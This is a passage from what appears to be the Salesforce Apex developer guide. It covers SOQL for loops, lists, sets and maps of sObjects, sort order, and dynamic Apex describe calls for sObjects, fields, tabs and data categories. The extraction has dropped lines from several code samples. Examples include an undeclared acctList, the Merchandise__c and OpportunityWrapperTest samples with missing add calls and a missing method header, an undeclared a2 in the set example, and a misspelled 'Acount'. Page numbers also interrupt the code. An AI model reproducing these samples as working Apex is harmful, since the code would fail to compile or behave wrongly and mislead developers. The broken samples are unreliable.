System.assert(j == 3); // The list should have contained the three accounts
// named 'yyy'
System.assert(i == 1); // Since a single batch can hold up to 200 records and,
// only three records should have been returned, the
// loop should have executed only once
// Revert the database to the original state

Database.rollback(sp);
Note:
• The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject
list format, continue skips to the next list of sObjects.
• DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of
200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for
loop, it is possible to encounter runtime limit errors. See Execution Governors and Limits on page 275.
• You might get a QueryException in a SOQL for loop with the message Aggregate query has too many
rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large
set of child records (200 or more) of a retrieved sObject inside the loop, or when getting the size of such a record set. For
example, the query in the following SOQL for loop retrieves child contacts for a particular account. If this account contains
more than 200 child contacts, the statements in the for loop cause an exception.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
List<Contact> contactList = acct.Contacts; // Causes an error
156
Integer count = acct.Contacts.size(); // Causes an error

}
To avoid getting this exception, use a for loop to iterate over the child records, as follows.
for (Account acct : [SELECT Id, Name, (SELECT Id, Name FROM Contacts)
FROM Account WHERE Id IN ('<ID value>')]) {
Integer count=0;
for (Contact c : acct.Contacts) {
count++;
}
}
sObject Collections
You can manage sObjects in lists, sets, and maps.
IN THIS SECTION:
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
Sorting Lists of sObjects
Using the List.sort method, you can sort lists sObjects.
Sets of Objects
Sets can contain sObjects among other types of elements.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.
You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data
can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call.
To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts
List<Account> myList = new List<Account>();
Auto-populating a List from a SOQL Query

You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records
returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data
type.
157
This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000
returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query
List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];
Adding and Retrieving List Elements

As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For
example:
List<Account> myList = new List<Account>(); // Define a new list
Account a = new Account(Name='Acme'); // Create the account first
myList.add(a); // Add the account sObject
Account a2 = myList.get(0); // Retrieve the element at index 0
Bulk Processing
You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list
// Create account sObjects
Account a1 = new Acount(Name='Account1');
Account a2 = new Acount(Name='Account2');
// Add accounts to the list
acctList.add(a1);
acctList.add(a2);
// Bulk insert the list
insert acctList;
Record ID Generation
Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database
with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the
same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same
structure in memory, which is illegal.
For example, the insert statement in the following block of code generates a ListException because it tries to insert a list
with two references to the same sObject (a):
try {
// Create a list with two references to the same sObject element

List<Account> accs = new List<Account>{a, a};
// Attempt to insert it...

insert accs;
// Will not get here

System.assert(false);
} catch (ListException e) {
158
// But will get here

}
Using Array Notation for One-Dimensional Lists of sObjects

Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects.
For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];
This example adds an element to the list using square brackets.

accts[0] = new Account(Name='Acme2');
These are some additional examples of using the array notation with sObject lists.
Example Description
Defines an Account list with no elements.
List<Account> accts = new Account[]{};
Defines an Account list with memory allocated for three Accounts,

List<Account> accts = new Account[]
including a new Account object in the first position, null in the
{new Account(), null, new
Account()}; second position, and another new Account object in the third
position.
Defines the Contact list with a new list.

List<Contact> contacts = new List<Contact>
(otherList);
Sorting Lists of sObjects

Using the List.sort method, you can sort lists sObjects.
For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can
also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable
interface, as shown in Custom Sort Order of sObjects.
Default Sort Order of sObjects

The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify
the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified
labels or fields. The following is the comparison sequence used:
1. The label of the sObject type.
For example, an Account sObject will appear before a Contact.
2. The Name field, if applicable.

For example, if the list contains two accounts named A and B respectively, account A comes before account B.
3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields.
159
For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber.
4. Custom fields, starting with the fields that come first in alphabetical order.
For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and
FieldB, the value of FieldA is used first for sorting.
Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique
Name values, they’re sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject
doesn’t have a Name field, sorting proceeds to step 3 to sort by standard fields.
For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order.
This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account
ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining
accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>();
acctList.add( new Account(
Name='sForce',
Industry='Biotechnology',
Site='Austin'));
acctList.add(new Account(
Name='sForce',
Industry='Agriculture',
Site='New York'));
acctList.add(new Account(
Name='Acme'));
System.debug(acctList);
acctList.sort();
System.assertEquals('Acme', acctList[0].Name);
System.assertEquals('sForce', acctList[1].Name);
System.assertEquals('Agriculture', acctList[1].Industry);
System.assertEquals('sForce', acctList[2].Name);
System.assertEquals('Biotechnology', acctList[2].Industry);
System.debug(acctList);
This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name
field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name
field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before
the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>();
merchList.add( new Merchandise__c(
Name='Pens',
Description__c='Red pens',
Price__c=2,
Total_Inventory__c=1000));
Name='Notebooks',
Description__c='Cool notebooks',
Price__c=3.50,
Name='Pens',
160
Description__c='Blue pens',
Price__c=1.75,
System.debug(merchList);
merchList.sort();
System.assertEquals('Notebooks', merchList[0].Name);
System.assertEquals('Pens', merchList[1].Name);
System.assertEquals('Blue pens', merchList[1].Description__c);
System.assertEquals('Pens', merchList[2].Name);
System.assertEquals('Red pens', merchList[2].Description__c);
System.debug(merchList);
Custom Sort Order of sObjects

To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface.
The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic.
This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class
compares two opportunities based on the Amount field—the class member variable contained in this instance, and the opportunity
object passed into the method.
global class OpportunityWrapper implements Comparable {
public Opportunity oppy;
// Constructor
public OpportunityWrapper(Opportunity op) {
oppy = op;
}
// Compare opportunities based on the opportunity amount.

global Integer compareTo(Object compareTo) {
// Cast argument to OpportunityWrapper
OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo;
// The return value of 0 indicates that both elements are equal.

Integer returnValue = 0;
if (oppy.Amount > compareToOppy.oppy.Amount) {
// Set return value to a positive value.
returnValue = 1;
} else if (oppy.Amount < compareToOppy.oppy.Amount) {
// Set return value to a negative value.
returnValue = -1;
}
return returnValue;
}
}
This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies
that the list elements are sorted by the opportunity amount.
@isTest
private class OpportunityWrapperTest {
161

// Add the opportunity wrapper objects to a list.
OpportunityWrapper[] oppyList = new List<OpportunityWrapper>();
Date closeDate = Date.today().addDays(10);
oppyList.add( new OpportunityWrapper(new Opportunity(
Name='Edge Installation',
CloseDate=closeDate,
Amount=50000)));
Name='United Oil Installations',
StageName='Needs Analysis',
Amount=100000)));
Name='Grand Hotels SLA',
Amount=25000)));
// Sort the wrapper objects using the implementation of the

// compareTo method.
oppyList.sort();
// Verify the sort order

System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name);
System.assertEquals(25000, oppyList[0].oppy.Amount);
System.assertEquals('Edge Installation', oppyList[1].oppy.Name);
System.assertEquals('United Oil Installations', oppyList[2].oppy.Name);
// Write the sorted list contents to the debug log.

System.debug(oppyList);
}
}

As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions.
In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();
In the above, new Account[] generates a list.

The list is populated with one element by the new statement {new Account(name='Acme')}.
Item 0, the first item in the list, is then accessed by the next part of the string [0].
The name of the sObject in the list is accessed, followed by the method returning the length name.length().
162
In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first
element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression
.Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();
Sets of Objects
Sets can contain sObjects among other types of elements.
Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects’ fields. For example, if you try to add two
accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2
Account a1 = new account(name='MyAccount');
// Add both accounts to the new set

Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set only contains one item

System.assertEquals(accountSet.size(), 1);
If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2
Account a2 = new account(name='MyAccount', description='My test account');
// Add both accounts to the new set

Set<Account> accountSet = new Set<Account>{a1, a2};
// Verify that the set contains two items

System.assertEquals(accountSet.size(), 2);
Warning: If set elements are objects, and these objects change after being added to the collection, they won’t be found anymore
when using, for example, the contains or containsAll methods, because of changed field values.
Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account.
Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a
common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys
are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();
As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the
curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists
and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account>
Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};
Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values won’t change.
163
Auto-Populating Map Entries from a SOQL Query

When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared
with an ID or String data type, and the map value should be declared as an sObject data type.
This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id
and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query
Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]);
// After populating the map, iterate through the map entries
for (ID idKey : m.keyset()) {
Account a = m.get(idKey);
System.debug(a);
}
One common usage of this map type is for in-memory “joins” between two tables.
Using Map Methods

The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements.
This example uses Map methods to add new elements and retrieve existing elements from the map. This example also checks for the
existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account(); //Define a new account
Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map
m.put(1, myAcct); // Insert a new key-value pair in the map
System.assert(!m.containsKey(3)); // Assert that the map contains a key
Account a = m.get(1); // Retrieve a value, given a particular key
Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the
map
IN THIS SECTION:
sObject Map Considerations
sObject Map Considerations

Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one
or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This
is because the modified sObject isn’t found in the map due to different field values. This can occur if you explicitly change a field on the
sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the
ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation won’t yield the
map entry, as shown in this example.
// Create an account and add it to the map
Account a1 = new Account(Name='A1');
Map<sObject, Integer> m = new Map<sObject, Integer>{
a1 => 1};
// Get a1's value from the map.

// Returns the value of 1.
System.assertEquals(1, m.get(a1));
// Id field is null.
164
System.assertEquals(null, a1.Id);
// Insert a1.
// This causes the ID field on a1 to be auto-filled
insert a1;
// Id field is now populated.
System.assertNotEquals(null, a1.Id);
// Get a1's value from the map again.

// Returns null because Map.get(sObject) doesn't find
// the entry based on the sObject with an auto-filled ID.
// This is because when a1 was originally added to the map
// before the insert operation, the ID of a1 was null.
System.assertEquals(null, m.get(a1));
Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject.
If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger,
the sObjects in Trigger.New in the after trigger aren’t found in the map because the two sets of sObjects differ by the fields that
are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate,
CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.
Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to:
• Access sObject and field describe information
Describe information provides metadata information about sObject and field properties. For example, the describe information for
an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the
sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value,
whether it is a calculated field, the type of the field, and so on.
Note that describe information provides information about objects in an organization, not individual records.
• Access Salesforce app information

You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds
to a collection of tabs. Describe information for an app includes the app’s label, namespace, and tabs. Describe information for a tab
includes the sObject associated with the tab, tab icons and colors.
• Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML
Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the
ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an
application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are
installed from Force.com AppExchange.
IN THIS SECTION:
1. Understanding Apex Describe Information
2. Using Field Tokens
3. Understanding Describe Information Permissions
4. Describing sObjects Using Schema Method
165
5. Describing Tabs Using Schema Methods

6. Accessing All sObjects
7. Accessing All Data Categories Associated with an sObject
8. Dynamic SOQL
9. Dynamic SOSL
10. Dynamic DML
Understanding Apex Describe Information

You can describe sObjects either by using tokens or the describeSObjects Schema method.
Apex provides two data structures and a method for sObject and field describe information:
• Token—a lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes.
• The describeSObjects method—a method in the Schema class that performs describes on one or more sObject types.
• Describe result—an object of type Schema.DescribeSObjectResult that contains all the describe properties for the
sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing
the describe, using either the sObject token or the describeSObjects method.
Describing sObjects Using Tokens

It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe
which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods
return the tokens for sObject and field, respectively.
Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an
sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject

System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the field describe result from the token

dfr = dfr.getSObjectField().getDescribe();
The following algorithm shows how you can work with describe information in Apex:
166
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.
Using sObject Tokens

SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
• Access the sObjectType member variable on an sObject type, such as Account.
• Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.
In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;
The following also returns a token for the Account sObject:

Schema.sObjectType t = a.getSObjectType();
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token

System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects

List<sObject> sobjList = new Account[]{};
// Verify if the list of sObjects contains Account tokens

System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.
Obtaining sObject Describe Results Using Tokens

To access the describe result for an sObject, use one of the following methods:
• Call the getDescribe method on an sObject token.
• Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.
167
The following example uses the getDescribe method on an sObject token:

Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.
SEE ALSO:
fields
fieldSets
Using Field Tokens

To access the token for a field, use one of the following methods:
• Access the static member variable name of an sObject static type, for example, Account.Name.
• Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the describe result from the token

dfr = dfr.getSObjectField().getDescribe();
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
Using Field Describe Results

To access the describe result for a field, use one of the following methods:
• Call the getDescribe method on a field token.
• Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
168
This example uses the fields member variable method:

Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.
Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.
Accessing All Field Describe Results for an sObject

Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> fieldMap = Schema.SObjectType.Account.fields.getMap();
Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the fields for that sObject.
• All field names are case insensitive.
• The keys use namespaces as required.
• The keys reflect whether the field is a custom object.
For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as
MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c.
In addition, standard fields have no namespace prefix.
Field Describe Considerations

Note the following when describing fields.
• A field describe that’s executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class that’s not within an installed managed package.
• When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.
SEE ALSO:
fields
fieldSets
169
Understanding Describe Information Permissions

Apex classes and triggers run in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate
a map of all the sObjects for your organization, regardless of the current user's permission.
If you execute describe calls in an anonymous block, user permissions are taken into account. As a result, not all sObjects and fields can
be looked up if access is restricted for the running user. For example, if you describe account fields in an anonymous block and you don’t
have access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
Dynamic Apex, contained in managed packages created by Salesforce ISV partners that are installed from Force.com AppExchange, have
restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant
access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom
objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.
SEE ALSO:
Anonymous Blocks
What is a Package?
Describing sObjects Using Schema Method

As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call

Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info

for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
// Get child relationships

Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
170
}
}
SEE ALSO:
fields
fieldSets
Describing Tabs Using Schema Methods

You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs
Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app

if (appLabel == 'Sales') {
List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output

// DEBUG|Label: Sales
171
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png

// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
// Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
// getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
// DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
// DEBUG|getSobjectName: Account
// DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
// DEBUG|isCustom: false
Accessing All sObjects

Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();
The map has the following characteristics:

• It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
• The sObject names are case insensitive.
*
• The keys are prefixed with the namespace, if any.
• The keys reflect whether the sObject is a custom object.
*
Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.
172
Accessing All Data Categories Associated with an sObject

Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see “Data Categories in Salesforce.com” in the Salesforce online help.
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles
and Translations” and “Answers Overview” in the Salesforce online help.
To use the following example, you must:
• Enable Salesforce Knowledge.
• Enable the answers feature.
• Create a data category group called Regions.
• Assign Regions as the data category group to be used by Answers.
• Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more
information on answers, see “Answers Overview” in the Salesforce online help.
public class DescribeDataCategoryGroupSample {

public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List<String> objType = new List<String>();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information

for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();
//Getting the name of label

singleResult.getLabel();
173
//Getting description
singleResult.getDescription();
//Getting the sobject

singleResult.getSobject();
}
} catch(Exception e){
}
return describeCategoryResult;
}
}
public class DescribeDataCategoryGroupStructures {

public static List<DescribeDataCategoryGroupStructureResult>
getDescribeDataCategoryGroupStructureResults(){
List<DescribeDataCategoryGroupResult> describeCategoryResult;
List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List<String> objType = new List<String>();
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter

//for the describe call
List<DataCategoryGroupSobjectTypePair> pairs =
new List<DataCategoryGroupSobjectTypePair>();
//Looping throught the first describe result to create

//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result

for(DescribeDataCategoryGroupStructureResult singleResult :
